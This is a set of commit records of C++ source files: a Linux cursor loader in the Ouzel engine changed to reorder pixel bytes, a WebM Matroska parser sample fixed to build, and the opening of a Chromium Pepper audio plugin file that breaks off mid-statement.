TIME_PERIODIC | TIME_CALLBACK_EVENT_PULSE);\n } else {\n timerID_ = timeSetEvent(time, 0, (LPTIMECALLBACK)HANDLE(event_), 0,\n TIME_ONESHOT | TIME_CALLBACK_EVENT_SET);\n }\n\n return timerID_ != NULL;\n}\n\nbool EventWindows::StopTimer() {\n if (timerID_ != NULL) {\n timeKillEvent(timerID_);\n timerID_ = NULL;\n }\n\n return true;\n}\n\n} \/\/ namespace webrtc\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (C) 2017 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#include <X11\/cursorfont.h>\n#include <X11\/Xcursor\/Xcursor.h>\n#include \"CursorResourceLinux.h\"\n#include \"core\/Engine.h\"\n#include \"core\/linux\/WindowLinux.h\"\n#include \"utils\/Log.h\"\n\nnamespace ouzel\n{\n namespace input\n {\n CursorResourceLinux::~CursorResourceLinux()\n {\n if (sharedEngine)\n {\n WindowLinux* windowLinux = static_cast<WindowLinux*>(sharedEngine->getWindow());\n Display* display = windowLinux->getDisplay();\n if (cursor != None) XFreeCursor(display, cursor);\n }\n }\n\n bool CursorResourceLinux::upload()\n {\n std::lock_guard<std::mutex> lock(uploadMutex);\n\n if (dirty)\n {\n if (sharedEngine)\n {\n WindowLinux* windowLinux = static_cast<WindowLinux*>(sharedEngine->getWindow());\n Display* display = windowLinux->getDisplay();\n\n if (cursor != None)\n {\n XFreeCursor(display, cursor);\n cursor = None;\n }\n\n if (data.empty())\n {\n switch (systemCursor)\n {\n case SystemCursor::DEFAULT:\n cursor = XcursorLibraryLoadCursor(display, \"arrow\");\n break;\n case SystemCursor::ARROW:\n cursor = XcursorLibraryLoadCursor(display, \"arrow\");\n break;\n case SystemCursor::HAND:\n cursor = XcursorLibraryLoadCursor(display, \"hand1\");\n break;\n case SystemCursor::HORIZONTAL_RESIZE:\n cursor = XcursorLibraryLoadCursor(display, \"sb_h_double_arrow\");\n break;\n case SystemCursor::VERTICAL_RESIZE:\n cursor = XcursorLibraryLoadCursor(display, \"sb_v_double_arrow\");\n break;\n case SystemCursor::CROSS:\n cursor = XcursorLibraryLoadCursor(display, \"crosshair\");\n break;\n case SystemCursor::I_BEAM:\n cursor = XcursorLibraryLoadCursor(display, \"xterm\");\n break;\n }\n }\n else\n {\n int width = static_cast<int>(size.v[0]);\n int height = static_cast<int>(size.v[1]);\n\n XcursorImage* cursorImage = XcursorImageCreate(width, height);\n\n if (!cursorImage)\n {\n Log(Log::Level::ERR) << \"Failed to create cursor image\";\n return false;\n }\n\n cursorImage->xhot = static_cast<int>(hotSpot.v[0]);\n cursorImage->yhot = height - static_cast<int>(hotSpot.v[1]) - 1;\n cursorImage->delay = 0;\n\n unsigned char* target = reinterpret_cast<unsigned char*>(cursorImage->pixels);\n\n for (int i = 0; i < width * height; ++i)\n {\n target[i * 4 + 0] = data[i * 4 + 3];\n target[i * 4 + 1] = data[i * 4 + 0];\n target[i * 4 + 2] = data[i * 4 + 1];\n target[i * 4 + 3] = data[i * 4 + 2];\n }\n\n cursor = XcursorImageLoadCursor(display, cursorImage);\n\n XcursorImageDestroy(cursorImage);\n }\n }\n\n dirty = false;\n }\n\n return true;\n }\n } \/\/ namespace input\n} \/\/ namespace ouzel\n<commit_msg>Reverse pixel byte order<commit_after>\/\/ Copyright (C) 2017 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#include <X11\/cursorfont.h>\n#include <X11\/Xcursor\/Xcursor.h>\n#include \"CursorResourceLinux.h\"\n#include \"core\/Engine.h\"\n#include \"core\/linux\/WindowLinux.h\"\n#include \"utils\/Log.h\"\n\nnamespace ouzel\n{\n namespace input\n {\n CursorResourceLinux::~CursorResourceLinux()\n {\n if (sharedEngine)\n {\n WindowLinux* windowLinux = static_cast<WindowLinux*>(sharedEngine->getWindow());\n Display* display = windowLinux->getDisplay();\n if (cursor != None) XFreeCursor(display, cursor);\n }\n }\n\n bool CursorResourceLinux::upload()\n {\n std::lock_guard<std::mutex> lock(uploadMutex);\n\n if (dirty)\n {\n if (sharedEngine)\n {\n WindowLinux* windowLinux = static_cast<WindowLinux*>(sharedEngine->getWindow());\n Display* display = windowLinux->getDisplay();\n\n if (cursor != None)\n {\n XFreeCursor(display, cursor);\n cursor = None;\n }\n\n if (data.empty())\n {\n switch (systemCursor)\n {\n case SystemCursor::DEFAULT:\n cursor = XcursorLibraryLoadCursor(display, \"arrow\");\n break;\n case SystemCursor::ARROW:\n cursor = XcursorLibraryLoadCursor(display, \"arrow\");\n break;\n case SystemCursor::HAND:\n cursor = XcursorLibraryLoadCursor(display, \"hand1\");\n break;\n case SystemCursor::HORIZONTAL_RESIZE:\n cursor = XcursorLibraryLoadCursor(display, \"sb_h_double_arrow\");\n break;\n case SystemCursor::VERTICAL_RESIZE:\n cursor = XcursorLibraryLoadCursor(display, \"sb_v_double_arrow\");\n break;\n case SystemCursor::CROSS:\n cursor = XcursorLibraryLoadCursor(display, \"crosshair\");\n break;\n case SystemCursor::I_BEAM:\n cursor = XcursorLibraryLoadCursor(display, \"xterm\");\n break;\n }\n }\n else\n {\n int width = static_cast<int>(size.v[0]);\n int height = static_cast<int>(size.v[1]);\n\n XcursorImage* cursorImage = XcursorImageCreate(width, height);\n\n if (!cursorImage)\n {\n Log(Log::Level::ERR) << \"Failed to create cursor image\";\n return false;\n }\n\n cursorImage->xhot = static_cast<int>(hotSpot.v[0]);\n cursorImage->yhot = height - static_cast<int>(hotSpot.v[1]) - 1;\n cursorImage->delay = 0;\n\n unsigned char* target = reinterpret_cast<unsigned char*>(cursorImage->pixels);\n\n for (int i = 0; i < width * height; ++i)\n {\n target[i * 4 + 0] = data[i * 4 + 2];\n target[i * 4 + 1] = data[i * 4 + 1];\n target[i * 4 + 2] = data[i * 4 + 0];\n target[i * 4 + 3] = data[i * 4 + 3];\n }\n\n cursor = XcursorImageLoadCursor(display, cursorImage);\n\n XcursorImageDestroy(cursorImage);\n }\n }\n\n dirty = false;\n }\n\n return true;\n }\n } \/\/ namespace input\n} \/\/ namespace ouzel\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The WebM project authors. All Rights Reserved.\r\n\/\/\r\n\/\/ Use of this source code is governed by a BSD-style license\r\n\/\/ that can be found in the LICENSE file in the root of the source\r\n\/\/ tree. An additional intellectual property rights grant can be found\r\n\/\/ in the file PATENTS. All contributing project authors may\r\n\/\/ be found in the AUTHORS file in the root of the source tree.\r\n\/\/\r\n\/\/ This sample application demonstrates how to use the matroska parser\r\n\/\/ library, which allows clients to handle a matroska format file.\r\n\r\n#include \"mkvreader.hpp\"\r\n#include \"mkvparser.hpp\"\r\n\r\nstatic const wchar_t* utf8towcs(const char* str)\r\n{\r\n if (str == NULL)\r\n return NULL;\r\n\r\n \/\/TODO: this probably requires that the locale be\r\n \/\/configured somehow:\r\n\r\n const size_t size = mbstowcs(NULL, str, 0);\r\n\r\n if (size == 0)\r\n return NULL;\r\n\r\n wchar_t* const val = new wchar_t[size+1];\r\n\r\n mbstowcs(val, str, size);\r\n val[size] = L'\\0';\r\n\r\n return val;\r\n}\r\n\r\n\r\nint main(int argc, char* argv[])\r\n{\r\n if (argc == 1)\r\n {\r\n printf(\"\\t\\t\\tMkv Parser Sample Application\\n\");\r\n printf(\"\\t\\t\\tUsage: \\n\");\r\n printf(\"\\t\\t\\t .\/sample [input file] \\n\");\r\n printf(\"\\t\\t\\t .\/sample sample.mkv \\n\");\r\n return -1;\r\n }\r\n\r\n using namespace mkvparser;\r\n\r\n MkvReader reader;\r\n\r\n if (reader.Open(argv[1]))\r\n {\r\n printf(\"\\n Filename is invalid or error while opening.\\n\");\r\n return -1;\r\n }\r\n\r\n int maj, min, build, rev;\r\n\r\n GetVersion(maj, min, build, rev);\r\n printf(\"\\t\\t libmkv verison: %d.%d.%d.%d\\n\", maj, min, build, rev);\r\n\r\n long long pos = 0;\r\n\r\n EBMLHeader ebmlHeader;\r\n\r\n ebmlHeader.Parse(&reader, pos);\r\n\r\n printf(\"\\t\\t\\t EBML Header\\n\");\r\n printf(\"\\t\\tEBML Version\\t\\t: %lld\\n\", ebmlHeader.m_version);\r\n printf(\"\\t\\tEBML MaxIDLength\\t: %lld\\n\", ebmlHeader.m_maxIdLength);\r\n printf(\"\\t\\tEBML MaxSizeLength\\t: %lld\\n\", ebmlHeader.m_maxSizeLength);\r\n printf(\"\\t\\tDoc Type\\t\\t: %s\\n\", ebmlHeader.m_docType);\r\n printf(\"\\t\\tPos\\t\\t\\t: %lld\\n\", pos);\r\n\r\n mkvparser::Segment* pSegment;\r\n\r\n long long ret = mkvparser::Segment::CreateInstance(&reader, pos, pSegment);\r\n if (ret)\r\n {\r\n printf(\"\\n Segment::CreateInstance() failed.\");\r\n return -1;\r\n }\r\n\r\n ret = pSegment->Load();\r\n if (ret < 0)\r\n {\r\n printf(\"\\n Segment::Load() failed.\");\r\n return -1;\r\n }\r\n\r\n const SegmentInfo* const pSegmentInfo = pSegment->GetInfo();\r\n\r\n const long long timeCodeScale = pSegmentInfo->GetTimeCodeScale();\r\n const long long duration_ns = pSegmentInfo->GetDuration();\r\n\r\n const char* const pTitle_ = pSegmentInfo->GetTitleAsUTF8();\r\n const wchar_t* const pTitle = utf8towcs(pTitle_);\r\n\r\n const char* const pMuxingApp_ = pSegmentInfo->GetMuxingAppAsUTF8();\r\n const wchar_t* const pMuxingApp = utf8towcs(pMuxingApp_);\r\n\r\n const char* const pWritingApp_ = pSegmentInfo->GetWritingAppAsUTF8();\r\n const wchar_t* const pWritingApp = utf8towcs(pWritingApp_);\r\n\r\n printf(\"\\n\");\r\n printf(\"\\t\\t\\t Segment Info\\n\");\r\n printf(\"\\t\\tTimeCodeScale\\t\\t: %lld \\n\", timeCodeScale);\r\n printf(\"\\t\\tDuration\\t\\t: %lld\\n\", duration_ns);\r\n\r\n const double duration_sec = double(duration_ns) \/ 1000000000;\r\n printf(\"\\t\\tDuration(secs)\\t\\t: %7.3lf\\n\", duration_sec);\r\n\r\n if (pTitle == NULL)\r\n printf(\"\\t\\tTrack Name\\t\\t: NULL\\n\");\r\n else\r\n {\r\n printf(\"\\t\\tTrack Name\\t\\t: %ls\\n\", pTitle);\r\n delete [] pTitle;\r\n }\r\n\r\n\r\n if (pMuxingApp == NULL)\r\n printf(\"\\t\\tMuxing App\\t\\t: NULL\\n\");\r\n else\r\n {\r\n printf(\"\\t\\tMuxing App\\t\\t: %ls\\n\", pMuxingApp);\r\n delete [] pMuxingApp;\r\n }\r\n\r\n if (pWritingApp == NULL)\r\n printf(\"\\t\\tWriting App\\t\\t: NULL\\n\");\r\n else\r\n {\r\n printf(\"\\t\\tWriting App\\t\\t: %ls\\n\", pWritingApp);\r\n delete [] pWritingApp;\r\n }\r\n\r\n \/\/ pos of segment payload\r\n printf(\"\\t\\tPosition(Segment)\\t: %lld\\n\", pSegment->m_start);\r\n\r\n \/\/ size of segment payload\r\n printf(\"\\t\\tSize(Segment)\\t\\t: %lld\\n\", pSegment->m_size);\r\n\r\n mkvparser::Tracks* const pTracks = pSegment->GetTracks();\r\n\r\n unsigned long i = 0;\r\n const unsigned long j = pTracks->GetTracksCount();\r\n\r\n enum { VIDEO_TRACK = 1, AUDIO_TRACK = 2 };\r\n\r\n printf(\"\\n\\t\\t\\t Track Info\\n\");\r\n\r\n while (i != j)\r\n {\r\n const Track* const pTrack = pTracks->GetTrackByIndex(i++);\r\n\r\n if (pTrack == NULL)\r\n continue;\r\n\r\n const long long trackType = pTrack->GetType();\r\n const long long trackNumber = pTrack->GetNumber();\r\n const unsigned long long trackUid = pTrack->GetUid();\r\n const wchar_t* const pTrackName = utf8towcs(pTrack->GetNameAsUTF8());\r\n\r\n printf(\"\\t\\tTrack Type\\t\\t: %lld\\n\", trackType);\r\n printf(\"\\t\\tTrack Number\\t\\t: %lld\\n\", trackNumber);\r\n printf(\"\\t\\tTrack Uid\\t\\t: %lld\\n\", trackUid);\r\n\r\n if (pTrackName == NULL)\r\n printf(\"\\t\\tTrack Name\\t\\t: NULL\\n\");\r\n else\r\n {\r\n printf(\"\\t\\tTrack Name\\t\\t: %ls \\n\", pTrackName);\r\n delete [] pTrackName;\r\n }\r\n\r\n const char* const pCodecId = pTrack->GetCodecId();\r\n\r\n if (pCodecId == NULL)\r\n printf(\"\\t\\tCodec Id\\t\\t: NULL\\n\");\r\n else\r\n printf(\"\\t\\tCodec Id\\t\\t: %s\\n\", pCodecId);\r\n\r\n const char* const pCodecName_ = pTrack->GetCodecNameAsUTF8();\r\n const wchar_t* const pCodecName = utf8towcs(pCodecName_);\r\n\r\n if (pCodecName == NULL)\r\n printf(\"\\t\\tCodec Name\\t\\t: NULL\\n\");\r\n else\r\n {\r\n printf(\"\\t\\tCodec Name\\t\\t: %ls\\n\", pCodecName);\r\n delete [] pCodecName;\r\n }\r\n\r\n if (trackType == VIDEO_TRACK)\r\n {\r\n const VideoTrack* const pVideoTrack =\r\n static_cast<const VideoTrack*>(pTrack);\r\n\r\n const long long width = pVideoTrack->GetWidth();\r\n printf(\"\\t\\tVideo Width\\t\\t: %lld\\n\", width);\r\n\r\n const long long height = pVideoTrack->GetHeight();\r\n printf(\"\\t\\tVideo Height\\t\\t: %lld\\n\", height);\r\n\r\n const double rate = pVideoTrack->GetFrameRate();\r\n printf(\"\\t\\tVideo Rate\\t\\t: %f\\n\",rate);\r\n }\r\n\r\n if (trackType == AUDIO_TRACK)\r\n {\r\n const AudioTrack* const pAudioTrack =\r\n static_cast<const AudioTrack*>(pTrack);\r\n\r\n const long long channels = pAudioTrack->GetChannels();\r\n printf(\"\\t\\tAudio Channels\\t\\t: %lld\\n\", channels);\r\n\r\n const long long bitDepth = pAudioTrack->GetBitDepth();\r\n printf(\"\\t\\tAudio BitDepth\\t\\t: %lld\\n\", bitDepth);\r\n\r\n const double sampleRate = pAudioTrack->GetSamplingRate();\r\n printf(\"\\t\\tAddio Sample Rate\\t: %.3f\\n\", sampleRate);\r\n }\r\n }\r\n\r\n printf(\"\\n\\n\\t\\t\\t Cluster Info\\n\");\r\n const unsigned long clusterCount = pSegment->GetCount();\r\n\r\n printf(\"\\t\\tCluster Count\\t: %ld\\n\\n\", clusterCount);\r\n\r\n if (clusterCount == 0)\r\n {\r\n printf(\"\\t\\tSegment has no clusters.\\n\");\r\n delete pSegment;\r\n return -1;\r\n }\r\n\r\n const mkvparser::Cluster* pCluster = pSegment->GetFirst();\r\n\r\n while ((pCluster != NULL) && !pCluster->EOS())\r\n {\r\n const long long timeCode = pCluster->GetTimeCode();\r\n printf(\"\\t\\tCluster Time Code\\t: %lld\\n\", timeCode);\r\n\r\n const long long time_ns = pCluster->GetTime();\r\n printf(\"\\t\\tCluster Time (ns)\\t: %lld\\n\", time_ns);\r\n\r\n const BlockEntry* pBlockEntry = pCluster->GetFirst();\r\n\r\n while ((pBlockEntry != NULL) && !pBlockEntry->EOS())\r\n {\r\n const Block* const pBlock = pBlockEntry->GetBlock();\r\n const long long trackNum = pBlock->GetTrackNumber();\r\n const unsigned long tn = static_cast<unsigned long>(trackNum);\r\n const Track* const pTrack = pTracks->GetTrackByNumber(tn);\r\n const long long trackType = pTrack->GetType();\r\n const int frameCount = pBlock->GetFrameCount();\r\n const long long time_ns = pBlock->GetTime(pCluster);\r\n\r\n printf(\"\\t\\t\\tBlock\\t\\t:%s,%s,%15lld\\n\",\r\n (trackType == VIDEO_TRACK) ? \"V\" : \"A\",\r\n pBlock->IsKey() ? \"I\" : \"P\",\r\n time_ns);\r\n\r\n for (int i = 0; i < frameCount; ++i)\r\n {\r\n const Block::Frame& theFrame = pBlock->GetFrame(i);\r\n const long size = theFrame.len;\r\n const long long offset = theFrame.pos;\r\n printf(\"\\t\\t\\t %15ld,%15llx\\n\", size, offset);\r\n }\r\n\r\n pBlockEntry = pCluster->GetNext(pBlockEntry);\r\n }\r\n\r\n pCluster = pSegment->GetNext(pCluster);\r\n }\r\n\r\n delete pSegment;\r\n return 0;\r\n\r\n}\r\n<commit_msg>fixed build error in sample<commit_after>\/\/ Copyright (c) 2010 The WebM project authors. All Rights Reserved.\r\n\/\/\r\n\/\/ Use of this source code is governed by a BSD-style license\r\n\/\/ that can be found in the LICENSE file in the root of the source\r\n\/\/ tree. An additional intellectual property rights grant can be found\r\n\/\/ in the file PATENTS. All contributing project authors may\r\n\/\/ be found in the AUTHORS file in the root of the source tree.\r\n\/\/\r\n\/\/ This sample application demonstrates how to use the matroska parser\r\n\/\/ library, which allows clients to handle a matroska format file.\r\n\r\n#include \"mkvreader.hpp\"\r\n#include \"mkvparser.hpp\"\r\n\r\nstatic const wchar_t* utf8towcs(const char* str)\r\n{\r\n if (str == NULL)\r\n return NULL;\r\n\r\n \/\/TODO: this probably requires that the locale be\r\n \/\/configured somehow:\r\n\r\n const size_t size = mbstowcs(NULL, str, 0);\r\n\r\n if (size == 0)\r\n return NULL;\r\n\r\n wchar_t* const val = new wchar_t[size+1];\r\n\r\n mbstowcs(val, str, size);\r\n val[size] = L'\\0';\r\n\r\n return val;\r\n}\r\n\r\n\r\nint main(int argc, char* argv[])\r\n{\r\n if (argc == 1)\r\n {\r\n printf(\"\\t\\t\\tMkv Parser Sample Application\\n\");\r\n printf(\"\\t\\t\\tUsage: \\n\");\r\n printf(\"\\t\\t\\t .\/sample [input file] \\n\");\r\n printf(\"\\t\\t\\t .\/sample sample.mkv \\n\");\r\n return -1;\r\n }\r\n\r\n using namespace mkvparser;\r\n\r\n MkvReader reader;\r\n\r\n if (reader.Open(argv[1]))\r\n {\r\n printf(\"\\n Filename is invalid or error while opening.\\n\");\r\n return -1;\r\n }\r\n\r\n int maj, min, build, rev;\r\n\r\n GetVersion(maj, min, build, rev);\r\n printf(\"\\t\\t libmkv verison: %d.%d.%d.%d\\n\", maj, min, build, rev);\r\n\r\n long long pos = 0;\r\n\r\n EBMLHeader ebmlHeader;\r\n\r\n ebmlHeader.Parse(&reader, pos);\r\n\r\n printf(\"\\t\\t\\t EBML Header\\n\");\r\n printf(\"\\t\\tEBML Version\\t\\t: %lld\\n\", ebmlHeader.m_version);\r\n printf(\"\\t\\tEBML MaxIDLength\\t: %lld\\n\", ebmlHeader.m_maxIdLength);\r\n printf(\"\\t\\tEBML MaxSizeLength\\t: %lld\\n\", ebmlHeader.m_maxSizeLength);\r\n printf(\"\\t\\tDoc Type\\t\\t: %s\\n\", ebmlHeader.m_docType);\r\n printf(\"\\t\\tPos\\t\\t\\t: %lld\\n\", pos);\r\n\r\n mkvparser::Segment* pSegment;\r\n\r\n long long ret = mkvparser::Segment::CreateInstance(&reader, pos, pSegment);\r\n if (ret)\r\n {\r\n printf(\"\\n Segment::CreateInstance() failed.\");\r\n return -1;\r\n }\r\n\r\n ret = pSegment->Load();\r\n if (ret < 0)\r\n {\r\n printf(\"\\n Segment::Load() failed.\");\r\n return -1;\r\n }\r\n\r\n const SegmentInfo* const pSegmentInfo = pSegment->GetInfo();\r\n\r\n const long long timeCodeScale = pSegmentInfo->GetTimeCodeScale();\r\n const long long duration_ns = pSegmentInfo->GetDuration();\r\n\r\n const char* const pTitle_ = pSegmentInfo->GetTitleAsUTF8();\r\n const wchar_t* const pTitle = utf8towcs(pTitle_);\r\n\r\n const char* const pMuxingApp_ = pSegmentInfo->GetMuxingAppAsUTF8();\r\n const wchar_t* const pMuxingApp = utf8towcs(pMuxingApp_);\r\n\r\n const char* const pWritingApp_ = pSegmentInfo->GetWritingAppAsUTF8();\r\n const wchar_t* const pWritingApp = utf8towcs(pWritingApp_);\r\n\r\n printf(\"\\n\");\r\n printf(\"\\t\\t\\t Segment Info\\n\");\r\n printf(\"\\t\\tTimeCodeScale\\t\\t: %lld \\n\", timeCodeScale);\r\n printf(\"\\t\\tDuration\\t\\t: %lld\\n\", duration_ns);\r\n\r\n const double duration_sec = double(duration_ns) \/ 1000000000;\r\n printf(\"\\t\\tDuration(secs)\\t\\t: %7.3lf\\n\", duration_sec);\r\n\r\n if (pTitle == NULL)\r\n printf(\"\\t\\tTrack Name\\t\\t: NULL\\n\");\r\n else\r\n {\r\n printf(\"\\t\\tTrack Name\\t\\t: %ls\\n\", pTitle);\r\n delete [] pTitle;\r\n }\r\n\r\n\r\n if (pMuxingApp == NULL)\r\n printf(\"\\t\\tMuxing App\\t\\t: NULL\\n\");\r\n else\r\n {\r\n printf(\"\\t\\tMuxing App\\t\\t: %ls\\n\", pMuxingApp);\r\n delete [] pMuxingApp;\r\n }\r\n\r\n if (pWritingApp == NULL)\r\n printf(\"\\t\\tWriting App\\t\\t: NULL\\n\");\r\n else\r\n {\r\n printf(\"\\t\\tWriting App\\t\\t: %ls\\n\", pWritingApp);\r\n delete [] pWritingApp;\r\n }\r\n\r\n \/\/ pos of segment payload\r\n printf(\"\\t\\tPosition(Segment)\\t: %lld\\n\", pSegment->m_start);\r\n\r\n \/\/ size of segment payload\r\n printf(\"\\t\\tSize(Segment)\\t\\t: %lld\\n\", pSegment->m_size);\r\n\r\n const mkvparser::Tracks* pTracks = pSegment->GetTracks();\r\n\r\n unsigned long i = 0;\r\n const unsigned long j = pTracks->GetTracksCount();\r\n\r\n enum { VIDEO_TRACK = 1, AUDIO_TRACK = 2 };\r\n\r\n printf(\"\\n\\t\\t\\t Track Info\\n\");\r\n\r\n while (i != j)\r\n {\r\n const Track* const pTrack = pTracks->GetTrackByIndex(i++);\r\n\r\n if (pTrack == NULL)\r\n continue;\r\n\r\n const long long trackType = pTrack->GetType();\r\n const long long trackNumber = pTrack->GetNumber();\r\n const unsigned long long trackUid = pTrack->GetUid();\r\n const wchar_t* const pTrackName = utf8towcs(pTrack->GetNameAsUTF8());\r\n\r\n printf(\"\\t\\tTrack Type\\t\\t: %lld\\n\", trackType);\r\n printf(\"\\t\\tTrack Number\\t\\t: %lld\\n\", trackNumber);\r\n printf(\"\\t\\tTrack Uid\\t\\t: %lld\\n\", trackUid);\r\n\r\n if (pTrackName == NULL)\r\n printf(\"\\t\\tTrack Name\\t\\t: NULL\\n\");\r\n else\r\n {\r\n printf(\"\\t\\tTrack Name\\t\\t: %ls \\n\", pTrackName);\r\n delete [] pTrackName;\r\n }\r\n\r\n const char* const pCodecId = pTrack->GetCodecId();\r\n\r\n if (pCodecId == NULL)\r\n printf(\"\\t\\tCodec Id\\t\\t: NULL\\n\");\r\n else\r\n printf(\"\\t\\tCodec Id\\t\\t: %s\\n\", pCodecId);\r\n\r\n const char* const pCodecName_ = pTrack->GetCodecNameAsUTF8();\r\n const wchar_t* const pCodecName = utf8towcs(pCodecName_);\r\n\r\n if (pCodecName == NULL)\r\n printf(\"\\t\\tCodec Name\\t\\t: NULL\\n\");\r\n else\r\n {\r\n printf(\"\\t\\tCodec Name\\t\\t: %ls\\n\", pCodecName);\r\n delete [] pCodecName;\r\n }\r\n\r\n if (trackType == VIDEO_TRACK)\r\n {\r\n const VideoTrack* const pVideoTrack =\r\n static_cast<const VideoTrack*>(pTrack);\r\n\r\n const long long width = pVideoTrack->GetWidth();\r\n printf(\"\\t\\tVideo Width\\t\\t: %lld\\n\", width);\r\n\r\n const long long height = pVideoTrack->GetHeight();\r\n printf(\"\\t\\tVideo Height\\t\\t: %lld\\n\", height);\r\n\r\n const double rate = pVideoTrack->GetFrameRate();\r\n printf(\"\\t\\tVideo Rate\\t\\t: %f\\n\",rate);\r\n }\r\n\r\n if (trackType == AUDIO_TRACK)\r\n {\r\n const AudioTrack* const pAudioTrack =\r\n static_cast<const AudioTrack*>(pTrack);\r\n\r\n const long long channels = pAudioTrack->GetChannels();\r\n printf(\"\\t\\tAudio Channels\\t\\t: %lld\\n\", channels);\r\n\r\n const long long bitDepth = pAudioTrack->GetBitDepth();\r\n printf(\"\\t\\tAudio BitDepth\\t\\t: %lld\\n\", bitDepth);\r\n\r\n const double sampleRate = pAudioTrack->GetSamplingRate();\r\n printf(\"\\t\\tAddio Sample Rate\\t: %.3f\\n\", sampleRate);\r\n }\r\n }\r\n\r\n printf(\"\\n\\n\\t\\t\\t Cluster Info\\n\");\r\n const unsigned long clusterCount = pSegment->GetCount();\r\n\r\n printf(\"\\t\\tCluster Count\\t: %ld\\n\\n\", clusterCount);\r\n\r\n if (clusterCount == 0)\r\n {\r\n printf(\"\\t\\tSegment has no clusters.\\n\");\r\n delete pSegment;\r\n return -1;\r\n }\r\n\r\n const mkvparser::Cluster* pCluster = pSegment->GetFirst();\r\n\r\n while ((pCluster != NULL) && !pCluster->EOS())\r\n {\r\n const long long timeCode = pCluster->GetTimeCode();\r\n printf(\"\\t\\tCluster Time Code\\t: %lld\\n\", timeCode);\r\n\r\n const long long time_ns = pCluster->GetTime();\r\n printf(\"\\t\\tCluster Time (ns)\\t: %lld\\n\", time_ns);\r\n\r\n const BlockEntry* pBlockEntry = pCluster->GetFirst();\r\n\r\n while ((pBlockEntry != NULL) && !pBlockEntry->EOS())\r\n {\r\n const Block* const pBlock = pBlockEntry->GetBlock();\r\n const long long trackNum = pBlock->GetTrackNumber();\r\n const unsigned long tn = static_cast<unsigned long>(trackNum);\r\n const Track* const pTrack = pTracks->GetTrackByNumber(tn);\r\n const long long trackType = pTrack->GetType();\r\n const int frameCount = pBlock->GetFrameCount();\r\n const long long time_ns = pBlock->GetTime(pCluster);\r\n\r\n printf(\"\\t\\t\\tBlock\\t\\t:%s,%s,%15lld\\n\",\r\n (trackType == VIDEO_TRACK) ? \"V\" : \"A\",\r\n pBlock->IsKey() ? \"I\" : \"P\",\r\n time_ns);\r\n\r\n for (int i = 0; i < frameCount; ++i)\r\n {\r\n const Block::Frame& theFrame = pBlock->GetFrame(i);\r\n const long size = theFrame.len;\r\n const long long offset = theFrame.pos;\r\n printf(\"\\t\\t\\t %15ld,%15llx\\n\", size, offset);\r\n }\r\n\r\n pBlockEntry = pCluster->GetNext(pBlockEntry);\r\n }\r\n\r\n pCluster = pSegment->GetNext(pCluster);\r\n }\r\n\r\n delete pSegment;\r\n return 0;\r\n\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"webkit\/glue\/plugins\/pepper_audio.h\"\n\n#include \"base\/logging.h\"\n#include \"third_party\/ppapi\/c\/dev\/ppb_audio_dev.h\"\n#include \"third_party\/ppapi\/c\/dev\/ppb_audio_trusted_dev.h\"\n\nnamespace pepper {\n\nnamespace {\n\n\/\/ PPB_AudioConfig -------------------------------------------------------------\n\nuint32_t RecommendSampleFrameCount(uint32_t requested_sample_frame_count);\n\nPP_Resource CreateStereo16bit(PP_Module module_id,\n PP_AudioSampleRate_Dev sample_rate,\n uint32_t sample_frame_count) {\n PluginModule* module = ResourceTracker::Get()->GetModule(module_id);\n if (!module)\n return 0;\n\n \/\/ TODO(brettw): Currently we don't actually check what the hardware\n \/\/ supports, so just allow sample rates of the \"guaranteed working\" ones.\n if (sample_rate != PP_AUDIOSAMPLERATE_44100 &&\n sample_rate != PP_AUDIOSAMPLERATE_48000)\n return 0;\n\n \/\/ TODO(brettw): Currently we don't actually query to get a value from the\n \/\/ hardware, so just validate the range.\n if (RecommendSampleFrameCount(sample_frame_count) != sample_frame_count)\n return 0;\n\n scoped_refptr<AudioConfig> config(new AudioConfig(module,\n sample_rate,\n sample_frame_count));\n return config->GetReference();\n}\n\nuint32_t RecommendSampleFrameCount(uint32_t requested_sample_frame_count) {\n \/\/ TODO(brettw) Currently we don't actually query to get a value from the\n \/\/ hardware, so we always return the input for in-range values.\n if (requested_sample_frame_count < PP_AUDIOMINSAMPLEFRAMECOUNT)\n return PP_AUDIOMINSAMPLEFRAMECOUNT;\n if (requested_sample_frame_count > PP_AUDIOMAXSAMPLEFRAMECOUNT)\n return PP_AUDIOMAXSAMPLEFRAMECOUNT;\n return requested_sample_frame_count;\n}\n\nbool IsAudioConfig(PP_Resource resource) {\n scoped_refptr<AudioConfig> config = Resource::GetAs<AudioConfig>(resource);\n return config;\n}\n\nPP_AudioSampleRate_Dev GetSampleRate(PP_Resource config_id) {\n scoped_refptr<AudioConfig> config = Resource::GetAs<AudioConfig>(config_id);\n return config ? config->sample_rate() : PP_AUDIOSAMPLERATE_NONE;\n}\n\nuint32_t GetSampleFrameCount(PP_Resource config_id) {\n scoped_refptr<AudioConfig> config = Resource::GetAs<AudioConfig>(config_id);\n return config ? config->sample_frame_count() : 0;\n}\n\nconst PPB_AudioConfig_Dev ppb_audioconfig = {\n &CreateStereo16bit,\n &RecommendSampleFrameCount,\n &IsAudioConfig,\n &GetSampleRate,\n &GetSampleFrameCount\n};\n\n\/\/ PPB_Audio -------------------------------------------------------------------\n\nPP_Resource Create(PP_Instance instance_id, PP_Resource config_id,\n PPB_Audio_Callback callback, void* user_data) {\n PluginInstance* instance = ResourceTracker::Get()->GetInstance(instance_id);\n if (!instance)\n return 0;\n \/\/ TODO(neb): Require callback to be present for untrusted plugins.\n scoped_refptr<Audio> audio(new Audio(instance->module()));\n if (!audio->Init(instance->delegate(), config_id, callback, user_data))\n return 0;\n return audio->GetReference();\n}\n\nbool IsAudio(PP_Resource resource) {\n scoped_refptr<Audio> audio = Resource::GetAs<Audio>(resource);\n return audio;\n}\n\nPP_Resource GetCurrentConfiguration(PP_Resource audio_id) {\n scoped_refptr<Audio> audio = Resource::GetAs<Audio>(audio_id);\n return audio ? audio->GetCurrentConfiguration() : 0;\n}\n\nbool StartPlayback(PP_Resource audio_id) {\n scoped_refptr<Audio> audio = Resource::GetAs<Audio>(audio_id);\n return audio ? audio->StartPlayback() : false;\n}\n\nbool StopPlayback(PP_Resource audio_id) {\n scoped_refptr<Audio> audio = Resource::GetAs<Audio>(audio_id);\n return audio ? 